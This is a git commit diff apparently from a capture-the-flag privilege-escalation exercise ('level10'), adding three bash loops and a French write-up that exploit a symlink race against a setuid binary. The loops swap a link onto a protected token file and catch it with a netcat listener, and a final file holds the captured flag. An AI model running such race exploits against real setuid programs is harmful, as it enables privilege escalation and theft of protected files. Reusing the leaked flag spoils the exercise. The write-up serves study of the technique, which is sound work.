level10
This commit is contained in:
parent
abcaa3fab1
commit
059496d5c2
|
@ -0,0 +1,6 @@
|
|||
# launch the executable
|
||||
|
||||
while [ 1 ]
|
||||
do
|
||||
/home/user/level10/level10 /tmp/link 127.0.0.1
|
||||
done
|
|
@ -0,0 +1,9 @@
|
|||
while [ 1 ]
|
||||
|
||||
rm -rf /tmp/toto
|
||||
touch /tmp/toto
|
||||
|
||||
do
|
||||
ln -s -f /tmp/toto /tmp/link
|
||||
ln -s -f /home/user/level10/token /tmp/link
|
||||
done
|
|
@ -0,0 +1,10 @@
|
|||
# in case the file /tmp/toto was send,
|
||||
# the connection is closed but the file
|
||||
# wasn't the one we expect, then the netcat server is relaunch.
|
||||
# all the output not wanted are cleaned
|
||||
|
||||
while [ 1 ]
|
||||
do
|
||||
# nc -lv 127.0.0.1 6969 2>/dev/null | grep -v ".*( )*."
|
||||
nc -lv 127.0.0.1 6969 2>/dev/null
|
||||
done
|
|
@ -0,0 +1,59 @@
|
|||
La encore il y a un executable "level10" et un fichier "token"
|
||||
|
||||
$ ls
|
||||
> -rwsr-sr-x+ 1 flag10 level10 10817 Mar 5 2016 level10*
|
||||
> -rw------- 1 flag10 flag10 26 Mar 5 2016 token
|
||||
|
||||
|
||||
$ ./level10
|
||||
> ./level10 file host
|
||||
> sends file to host if you have access to it
|
||||
|
||||
on en deduit naturelement qu'il faut donner en argument a ./level10 un fichier et un host
|
||||
|
||||
$ ./level10 token 127.0.0.1
|
||||
You don't have access to token
|
||||
|
||||
|
||||
On cree alors un liens symbolique comme dans le level08:
|
||||
|
||||
$ ln -s /home/user/level10/token /tmp/link
|
||||
> You don't have access to /tmp/link
|
||||
|
||||
Tristesse intersideral, il faut donc reflechir
|
||||
|
||||
Pour comprendre ce qui ce passerai dans le cas ou l'on aurait les droit on cree un fichier
|
||||
On va cree un fichier cacher pour qu'il ne se fasse pas suprimer par la tach cron
|
||||
|
||||
$ echo "Ceci est un fichier que je peux lire correctement" >> /tmp/.test
|
||||
$ ./level10 /tmp/.test 127.0.0.1
|
||||
> Connecting to 127.0.0.1:6969 .. Unable to connect to host 127.0.0.1
|
||||
|
||||
Damn, il n'y a pas de serveur... Qu'à cela ne tienne on va ecouter avec netcat
|
||||
On ouvre une deuxieme fenenetre + connexion ssh pour ecouter avec netcat puis on relance level10
|
||||
|
||||
$ nc -lv 127.0.0.1 6969
|
||||
> Connection from 127.0.0.1 port 6969 [tcp/*] accepted
|
||||
> .*( )*.
|
||||
> Ceci est un fichier que je peux lire correctement
|
||||
|
||||
On peut donc lire le fichier que l'on passe en parametre
|
||||
|
||||
Apres quelques errance sur les liens symbolique l'idee des tester des "Race condition" ou "Symlink race" est unr piste
|
||||
|
||||
Le plus logique est de le faire un bash. Pour que la race condition fonction il faut les lancer dans deux proces different.
|
||||
On va donc lancer 3 script bash dans 3 connexion ssh different.
|
||||
|
||||
Le premier script va cree un lien symbolic vers un fichier vide sur lequel on a les droit Puis le meme lien synbolic sur token. et tout ca en boucle avec -f pour ecraser le lien existant.
|
||||
Le deuxieme va lancer l'executable level10 avec les bon argument
|
||||
Enfin le dernier va lancer des serveur netcat en boucle car on va aussi recevoir le fichier vide, il faudra alor relancer netcat
|
||||
|
||||
pour ca on copy les script shell depuis Resource sur la vm:
|
||||
$ scp -r -P 4242 level10/Ressource level10@127.0.0.2:/tmp/.level10/
|
||||
|
||||
On lance chaque script dans une connection et le tour est jouer
|
||||
|
||||
(Oui la derscription de ce level est tres verbeuse)
|
||||
|
||||
|
||||
|
|
@ -0,0 +1 @@
|
|||
feulo4b72j7edeahuete3no7c
|
Loading…
Reference in New Issue